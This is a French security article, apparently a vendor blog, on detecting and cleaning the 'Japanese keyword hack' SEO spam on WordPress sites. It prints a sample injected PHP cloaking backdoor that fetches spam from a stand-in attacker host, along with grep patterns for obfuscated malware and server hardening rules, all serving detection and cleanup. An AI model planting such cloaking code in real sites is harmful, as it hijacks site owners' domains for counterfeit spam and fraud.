Japanese Keyword Hack : détecter et nettoyer le spam SEO

Un matin, un e-commerce de 12 000 pages découvre dans Google Search Console que son site indexe désormais 87 000 URLs. Les 75 000 pages supplémentaires affichent des title tags en japonais vendant des contrefaçons de luxe. Le trafic organique a chuté de 68% en trois semaines. C'est le Japanese keyword hack — l'attaque SEO spam la plus répandue et la plus destructrice pour un site qui ne monitore pas son index.

Anatomie du Japanese keyword hack

Le Japanese keyword hack n'est pas une attaque brute. C'est une opération chirurgicale conçue pour exploiter l'autorité de votre domaine au profit de sites de contrefaçon ou de pharma, tout en restant invisible pour les administrateurs du site.

Le mécanisme d'injection

L'attaquant exploite une faille — plugin WordPress non patché, credentials FTP compromis, vulnérabilité dans un CMS custom — pour injecter du code sur le serveur. Ce code génère dynamiquement des milliers de pages avec des URLs qui ressemblent à ceci :

https://www.votre-ecommerce.fr/wp-content/uploads/2026/04/ルイヴィトン-財布-激安.html
https://www.votre-ecommerce.fr/?p=ブランドコピー-時計-通販
https://www.votre-ecommerce.fr/directory/グッチ-バッグ-偽物.php

Ces pages contiennent du texte en japonais ciblant des requêtes commerciales à fort volume (maroquinerie de luxe, montres, pharmaceutiques), avec des liens sortants vers les sites de l'attaquant. Le titre, la meta description et le contenu on-page sont tous optimisés pour le référencement japonais.

Le cloaking comme arme de dissimulation

La sophistication de l'attaque repose sur le cloaking : les pages spam ne sont visibles que pour Googlebot (et les autres crawlers). Un visiteur humain ou un administrateur connecté voit la page normale — ou une 404. Le code injecté vérifie le User-Agent et parfois l'IP source pour décider quel contenu servir.

Voici un exemple typique de code PHP injecté dans un fichier functions.php WordPress ou dans un fichier .htaccess :

<?php
// Extrait réel simplifié d'un fichier injecté (backdoor classique)
$bot_agents = array('Googlebot', 'Bingbot', 'Yahoo', 'Baiduspider', 'YandexBot');
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
        $is_bot = true;
        break;
    }
}

if ($is_bot) {
    // Sert le contenu spam depuis un serveur distant ou un fichier local encodé
    $spam_content = file_get_contents('https://attaquant-domain.com/payload.php?host=' . $_SERVER['HTTP_HOST'] . '&uri=' . $_SERVER['REQUEST_URI']);
    echo $spam_content;
    exit;
} else {
    // Redirige l'utilisateur humain vers la homepage ou affiche une 404
    header('HTTP/1.1 404 Not Found');
    exit;
}
?>

Ce code est rarement aussi lisible en production. Il est typiquement obfusqué via base64_decode, eval, gzinflate ou une combinaison des trois, réparti dans plusieurs fichiers, et parfois injecté directement en base de données.

Pourquoi les japonais spécifiquement ?

Le marché de la contrefaçon en ligne ciblant les consommateurs japonais est massif. Les requêtes en japonais sur les produits de luxe génèrent un volume considérable, et la concurrence organique sur ces termes est exploitable via des domaines occidentaux à forte autorité. Le hack cible aussi parfois le chinois simplifié, mais la variante japonaise reste dominante depuis plus de dix ans car elle est la plus rentable pour les réseaux d'attaquants.

Détecter l'infection : les signaux qui ne trompent pas

Le problème fondamental du Japanese keyword hack, c'est son invisibilité pour quiconque ne regarde pas les bons indicateurs. Vous pouvez naviguer sur votre site quotidiennement sans rien remarquer.

Signal 1 : l'explosion de l'index dans Search Console

Le rapport Indexation des pages dans Google Search Console est votre premier rempart. Si votre site de 12 000 pages affiche soudainement 40 000, 80 000 ou 200 000 pages indexées, c'est un signal d'alerte critique. Le rapport Pages dans Google Search Console donne le détail de ce qui est indexé et pourquoi.

Vérifiez aussi le rapport de performances : filtrez par requête et cherchez des termes en caractères japonais (ou tout caractère non-latin inattendu). Si vous voyez des impressions sur des requêtes comme ルイヴィトン財布激安, vous êtes infecté.

Signal 2 : l'opérateur site: révèle tout

La commande site: dans Google est brutale mais efficace. Testez :

site:votre-ecommerce.fr intitle:ルイヴィトン
site:votre-ecommerce.fr intitle:ブランドコピー
site:votre-ecommerce.fr inurl:wp-content *.html

Si un seul résultat apparaît, vous avez un problème. Testez aussi sans filtre japonais mais en cherchant des patterns d'URLs inhabituels :

site:votre-ecommerce.fr inurl:.php?
site:votre-ecommerce.fr filetype:html inurl:uploads

Signal 3 : les logs serveur racontent la vraie histoire

L'analyse des logs d'accès est la méthode la plus fiable pour quantifier l'étendue de l'infection. Googlebot crawle ces pages spam — et laisse des traces. Filtrez vos access logs pour Googlebot et cherchez des patterns d'URLs que vous n'avez jamais créés :

# Extraire les URLs crawlées par Googlebot contenant des caractères non-ASCII
grep -i "Googlebot" /var/log/nginx/access.log \
  | awk '{print $7}' \
  | grep -P '[^\x00-\x7F]' \
  | sort -u \
  | head -50

# Compter les URLs uniques crawlées par Googlebot vs le nombre de pages réelles
grep -i "Googlebot" /var/log/nginx/access.log \
  | awk '{print $7}' \
  | sort -u \
  | wc -l

# Chercher des requêtes vers des fichiers PHP suspects dans wp-content
grep -i "Googlebot" /var/log/nginx/access.log \
  | grep "wp-content" \
  | grep "\.php" \
  | awk '{print $7}' \
  | sort | uniq -c | sort -rn | head -20

L'analyse de logs pour le SEO est une compétence critique ici : elle vous permet de voir exactement ce que Googlebot voit, sans le filtre du cloaking.

Signal 4 : crawl avec User-Agent Googlebot

Screaming Frog permet de crawler votre site en simulant Googlebot. Configurez le User-Agent sur Googlebot dans Configuration > User-Agent et lancez un crawl complet. Si le hack inclut du cloaking basé sur le User-Agent (c'est le cas dans 90% des attaques), Screaming Frog en mode Googlebot récupérera les pages spam alors qu'un crawl standard ne les verra pas.

Comparez le nombre d'URLs découvertes entre un crawl User-Agent standard et un crawl User-Agent Googlebot. Un écart significatif est un indicateur fort de cloaking.

Vous pouvez aussi utiliser curl pour un diagnostic rapide sur une URL suspecte :

# Requête avec User-Agent standard (devrait retourner 404 ou redirect)
curl -s -o /dev/null -w "%{http_code}" \
  -H "User-Agent: Mozilla/5.0" \
  "https://votre-ecommerce.fr/suspect-url"

# Requête avec User-Agent Googlebot (devrait retourner 200 + contenu spam)
curl -s -o /dev/null -w "%{http_code}" \
  -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" \
  "https://votre-ecommerce.fr/suspect-url"

# Si les deux retournent des codes différents → cloaking confirmé

Signal 5 : nouveaux propriétaires Search Console

L'attaquant ajoute souvent son propre compte comme propriétaire vérifié dans Google Search Console, typiquement via un fichier de vérification HTML déposé à la racine du site. Vérifiez Paramètres > Utilisateurs et autorisations et Paramètres > Méthode de validation. Cherchez des fichiers google*.html à la racine que vous n'avez pas créés.

Scénario réel : un e-commerce de mode sous attaque

Prenons un cas concret. Un e-commerce de prêt-à-porter avec 15 000 pages produit, construit sur WooCommerce. L'équipe technique est compétente mais ne fait pas de monitoring SEO continu — elle lance un audit Screaming Frog trimestriel.

Chronologie de l'attaque

Semaine 0 : Un plugin WordPress tiers (gestion de wishlist, 80 000 installations actives) présente une vulnérabilité d'upload de fichier non corrigée. L'attaquant dépose un web shell PHP dans /wp-content/uploads/2026/03/.

Semaine 1-2 : Le web shell injecte du code dans wp-includes/load.php et crée un cron job WordPress personnalisé qui régénère les fichiers infectés si quelqu'un les supprime. L'attaquant génère 45 000 URLs en japonais via une sitemap XML fantôme soumise à Google.

Semaine 3 : Googlebot commence à crawler les 45 000 nouvelles URLs. Les logs montrent un pic de crawl de 300% — le crawl budget du site est maintenant consommé majoritairement par les pages spam. Les vraies pages produit sont crawlées moins fréquemment.

Semaine 4-5 : Google commence à indexer les pages spam. Les impressions sur des requêtes japonaises apparaissent dans Search Console. En parallèle, le trafic organique français chute de 35% — Google perd confiance dans le domaine.

Semaine 6 : Le trafic organique a chuté de 68% par rapport à la baseline. L'équipe marketing alerte l'équipe technique après avoir vu les chiffres dans Google Analytics. C'est là qu'ils découvrent le problème — six semaines après l'infection initiale.

L'impact sur le crawl budget

Avec 45 000 pages spam ajoutées à un site de 15 000 pages, 75% du crawl budget est gaspillé. La gestion du crawl budget était déjà un sujet sur ce site à cause d'un mega menu et d'une navigation à facettes mal configurée. L'attaque a transformé un problème gérable en catastrophe. Les pages produit en rupture temporaire qui auraient dû être recrawlées rapidement (un enjeu critique en e-commerce) ne l'étaient plus.

Un outil de monitoring SEO continu aurait détecté l'explosion de l'index dès la semaine 2 — voire plus tôt en surveillant les régressions courantes comme l'apparition de pages inconnues dans le crawl.

Nettoyage : protocole étape par étape

Le nettoyage ne consiste pas simplement à supprimer quelques fichiers. Sans une approche systématique, l'attaquant reviendra — il a probablement installé plusieurs backdoors.

Étape 1 : isoler et documenter

Avant de toucher à quoi que ce soit, documentez l'étendue de l'infection :

Exportez la liste complète des URLs indexées depuis Search Console (rapport Indexation > Pages indexées).
Crawlez le site avec Screaming Frog en User-Agent Googlebot et exportez la liste d'URLs.
Faites un dump complet des fichiers du serveur et de la base de données. C'est votre preuve et votre filet de sécurité.

Si possible, basculez le site en mode maintenance ou restreignez l'accès le temps du nettoyage pour empêcher l'attaquant de réinjecter en temps réel.

Étape 2 : identifier tous les fichiers modifiés

Comparez l'état actuel des fichiers avec une version propre connue — votre dernier backup sain ou les fichiers source du CMS et des plugins.

# Trouver les fichiers PHP modifiés dans les 60 derniers jours
find /var/www/html -name "*.php" -mtime -60 -ls | sort -k11

# Chercher les patterns d'obfuscation classiques dans le code PHP
grep -rl "eval(base64_decode" /var/www/html/ --include="*.php"
grep -rl "eval(gzinflate" /var/www/html/ --include="*.php"
grep -rl "eval(str_rot13" /var/www/html/ --include="*.php"
grep -rl "preg_replace.*e'" /var/www/html/ --include="*.php"

# Chercher les fichiers PHP dans les répertoires d'uploads (ne devrait jamais exister)
find /var/www/html/wp-content/uploads -name "*.php" -type f

# Chercher les cron jobs WordPress malveillants
wp cron event list --path=/var/www/html

# Vérifier les .htaccess modifiés (chaque répertoire peut en avoir un)
find /var/www/html -name ".htaccess" -exec md5sum {} \;

# Comparer avec les fichiers originaux du core WordPress
wp core verify-checksums --path=/var/www/html

La commande wp core verify-checksums est particulièrement puissante : elle compare chaque fichier du core WordPress avec la version officielle et signale toute modification. Faites de même pour les plugins avec wp plugin verify-checksums --all.

Étape 3 : nettoyer les fichiers et la base de données

Supprimez tous les fichiers identifiés comme malveillants. Pour le core WordPress, la méthode la plus sûre est de réinstaller complètement les fichiers core par-dessus l'installation existante :

# Réinstaller le core WordPress (ne touche pas wp-content)
wp core download --force --path=/var/www/html

# Réinstaller chaque plugin depuis le répertoire officiel
wp plugin install woocommerce --force --path=/var/www/html
wp plugin install yoast-seo --force --path=/var/www/html
# Répéter pour chaque plugin

Pour les plugins et thèmes custom, vous devez comparer manuellement avec votre repository Git. Si vous n'avez pas de version control sur votre code de production — c'est le moment de corriger cette lacune fondamentale.

Vérifiez aussi la base de données. Les attaquants injectent parfois du code dans la table wp_options (champs siteurl, home, ou des options custom) et dans les contenus de pages via wp_posts :

-- Chercher du code suspect dans wp_options
SELECT option_name, LEFT(option_value, 200) 
FROM wp_options 
WHERE option_value LIKE '%eval(%' 
   OR option_value LIKE '%base64_decode%' 
   OR option_value LIKE '%<script%';

-- Chercher des injections dans les contenus
SELECT ID, post_title, LEFT(post_content, 200) 
FROM wp_posts 
WHERE post_content LIKE '%eval(%' 
   OR post_content LIKE '%base64_decode%'
   OR post_content LIKE '%<iframe%src=%';

-- Vérifier les utilisateurs administrateurs non reconnus
SELECT * FROM wp_users 
INNER JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id 
WHERE wp_usermeta.meta_key = 'wp_capabilities' 
  AND wp_usermeta.meta_value LIKE '%administrator%';

Étape 4 : supprimer les sitemaps fantômes

L'attaquant a probablement créé des sitemaps XML contenant les URLs spam et les a soumis à Google. Vérifiez :

Les fichiers sitemap à la racine : sitemap-*.xml, sitemap.xml (comparez avec celui généré par votre plugin SEO)
Le fichier robots.txt — un Sitemap: directive a pu être ajouté pointant vers un sitemap malveillant
Les sitemaps soumis dans Search Console : Sitemaps > Sitemaps envoyés

Supprimez tout sitemap illégitime du serveur et de Search Console.

Étape 5 : sécuriser les accès

Changez tous les mots de passe : WordPress admin, FTP/SFTP, base de données, hébergeur, SSH.
Révoquez et régénérez les clés de sécurité WordPress dans wp-config.php (salt keys). Cela invalide toutes les sessions actives.
Supprimez tout compte utilisateur admin non reconnu.
Supprimez les propriétaires Search Console non autorisés et les fichiers de vérification HTML associés.
Mettez à jour WordPress, tous les plugins et le thème à leur dernière version.
Supprimez les plugins et thèmes non utilisés — un plugin désactivé mais présent sur le serveur reste une surface d'attaque.

Étape 6 : demander la réindexation

Une fois le nettoyage terminé, vous devez pousser Google à réindexer votre site nettoyé :

Dans Search Console, utilisez l'outil d'inspection d'URL sur un échantillon de pages spam — vérifiez qu'elles retournent bien un 404 ou 410.
Si Google avait appliqué une action manuelle (visible dans Sécurité et actions manuelles), soumettez une demande de réexamen avec un descriptif détaillé des mesures prises.
Soumettez votre sitemap propre pour encourager le recrawl des pages légitimes.

Le code de réponse 410 (Gone) est préférable au 404 pour les URLs spam : il indique explicitement à Google que ces pages n'existent plus et ne reviendront pas, ce qui accélère leur suppression de l'index. Vous pouvez configurer ça via Nginx :

# Bloc server Nginx — retourner 410 pour les patterns d'URLs spam connus
location ~* "(ルイヴィトン|ブランドコピー|グッチ|シャネル|偽物|激安)" {
    return 410;
}

# Ou via un fichier listant les URLs exactes
location / {
    if ($request_uri ~* "^/wp-content/uploads/.*\.(html|htm)$") {
        return 410;
    }
}

Pour les serveurs Apache, l'équivalent dans .htaccess :

# Retourner 410 Gone pour les URLs spam
RewriteEngine On
RewriteRule "^wp-content/uploads/.*\.(html|htm)$" - [G]
RewriteCond %{REQUEST_URI} (ルイヴィトン|ブランドコピー|グッチ) [NC]
RewriteRule .* - [G]

Prévention : empêcher la récidive

Nettoyer un Japanese keyword hack prend entre 2 et 5 jours pour une équipe technique compétente. Récupérer le trafic organique perdu prend 2 à 6 mois. La prévention est incomparablement moins coûteuse.

Durcissement serveur et applicatif

Bloquez l'exécution PHP dans les répertoires d'uploads — c'est le vecteur d'injection le plus courant sur WordPress :

# Nginx — bloquer l'exécution PHP dans wp-content/uploads
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
}

# Bloquer l'accès direct aux fichiers d'includes
location ~* /wp-includes/.*\.php$ {
    deny all;
}

# Limiter l'accès à xmlrpc.php (vecteur d'attaque fréquent)
location = /xmlrpc.php {
    deny all;
}

Côté permissions fichiers, le principe du moindre privilège :

# Permissions correctes pour une installation WordPress
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;
chmod 600 /var/www/html/wp-config.php

Monitoring continu de l'index

Le facteur déterminant dans le scénario ci-dessus, c'est le délai de détection : six semaines. Chaque jour de retard aggrave l'impact SEO.

Configurez des alertes avec des seuils précis sur le nombre de pages indexées. Une augmentation de plus de 10% en une semaine sur un site stable devrait déclencher une investigation immédiate. Un outil comme Seogard détecte ce type d'anomalie automatiquement en surveillant les variations d'index et l'apparition d'URLs inconnues dans le crawl — exactement le genre de régression qu'un audit trimestriel ne rattrapera jamais à temps.

File integrity monitoring

Au-delà du SEO, mettez en place un monitoring d'intégrité des fichiers. Des outils comme OSSEC, Tripwire, ou les fonctionnalités de plugins WordPress comme Wordfence surveillent les modifications de fichiers sur le serveur en temps réel. Toute modification de fichier PHP en dehors d'un déploiement planifié doit générer une alerte.

Intégrez cette surveillance dans votre pipeline CI/CD. Si vous automatisez vos checks dans le CI/CD, ajoutez une étape qui vérifie les checksums des fichiers core après chaque déploiement.

Web Application Firewall

Un WAF (Cloudflare, Sucuri, ModSecurity) bloque une grande partie des tentatives d'exploitation de vulnérabilités. Ce n'est pas une solution miracle — un attaquant déterminé contournera un WAF — mais ça filtre le bruit des scanners automatisés qui ciblent les failles connues.

Ce que Google fait (et ne fait pas) de son côté

Google dispose d'un système de détection du spam et de hacking appelé Safe Browsing, et le rapport "Problèmes de sécurité" dans Search Console peut signaler une infection. Mais ne comptez pas dessus comme première ligne de défense.

Selon la documentation officielle de Google sur les sites piratés, Google peut :

Afficher un avertissement "Ce site a peut-être été piraté" dans les résultats de recherche
Envoyer une notification dans Search Console
Appliquer une action manuelle qui supprime tout ou partie du site des résultats

Mais ces signaux arrivent tardivement — souvent plusieurs semaines après l'infection. Google n'est pas un outil de sécurité. C'est un moteur de recherche qui réagit après coup.

Le point clé : même après nettoyage complet et demande de réexamen, la récupération du trafic organique n'est pas instantanée. Google doit recrawler les URLs spam (pour constater les 410), recrawler vos pages légitimes, et recalculer la confiance dans votre domaine. Sur le scénario de notre e-commerce de 15 000 pages, le retour au trafic d'avant-hack a pris 14 semaines après le nettoyage.

C'est un cas où la détection du contenu dupliqué et du thin content se recoupe avec la sécurité : des milliers de pages spam de faible qualité associées à votre domaine dégradent la qualité perçue de l'ensemble du site.

Checklist post-nettoyage

Une fois le site nettoyé et sécurisé, vérifiez ces points pendant les semaines suivantes :

Semaine 1-2 : Surveillez les logs serveur quotidiennement. L'attaquant tentera probablement de revenir via une backdoor oubliée. Vérifiez que le nombre d'URLs crawlées par Googlebot diminue vers la normale.
Semaine 2-4 : Suivez le rapport d'indexation dans Search Console. Les pages spam doivent progressivement disparaître de l'index. Si le nombre stagne, vérifiez que les 410 sont bien en place.
Semaine 4-8 : Le trafic organique devrait commencer à se stabiliser puis remonter. Si ce n'est pas le cas, vérifiez qu'aucune action manuelle n'est en cours et que le réexamen a bien été accepté.
En continu : Maintenez les mises à jour du CMS et des plugins. Activez les mises à jour automatiques de sécurité si votre workflow le permet. Auditez régulièrement les utilisateurs admin et les accès serveur.

Le Japanese keyword hack reste une des attaques SEO les plus courantes parce qu'elle fonctionne — elle exploite des sites à forte autorité qui ne surveillent pas leur index. La seule défense fiable combine durcissement serveur, monitoring d'intégrité des fichiers, et surveillance continue de l'index avec des alertes automatiques. Six semaines de retard de détection peuvent coûter six mois de trafic. Un monitoring comme celui de Seogard, configuré pour alerter dès qu'une variation anormale du nombre de pages indexées apparaît, transforme cette fenêtre de six semaines en quelques heures.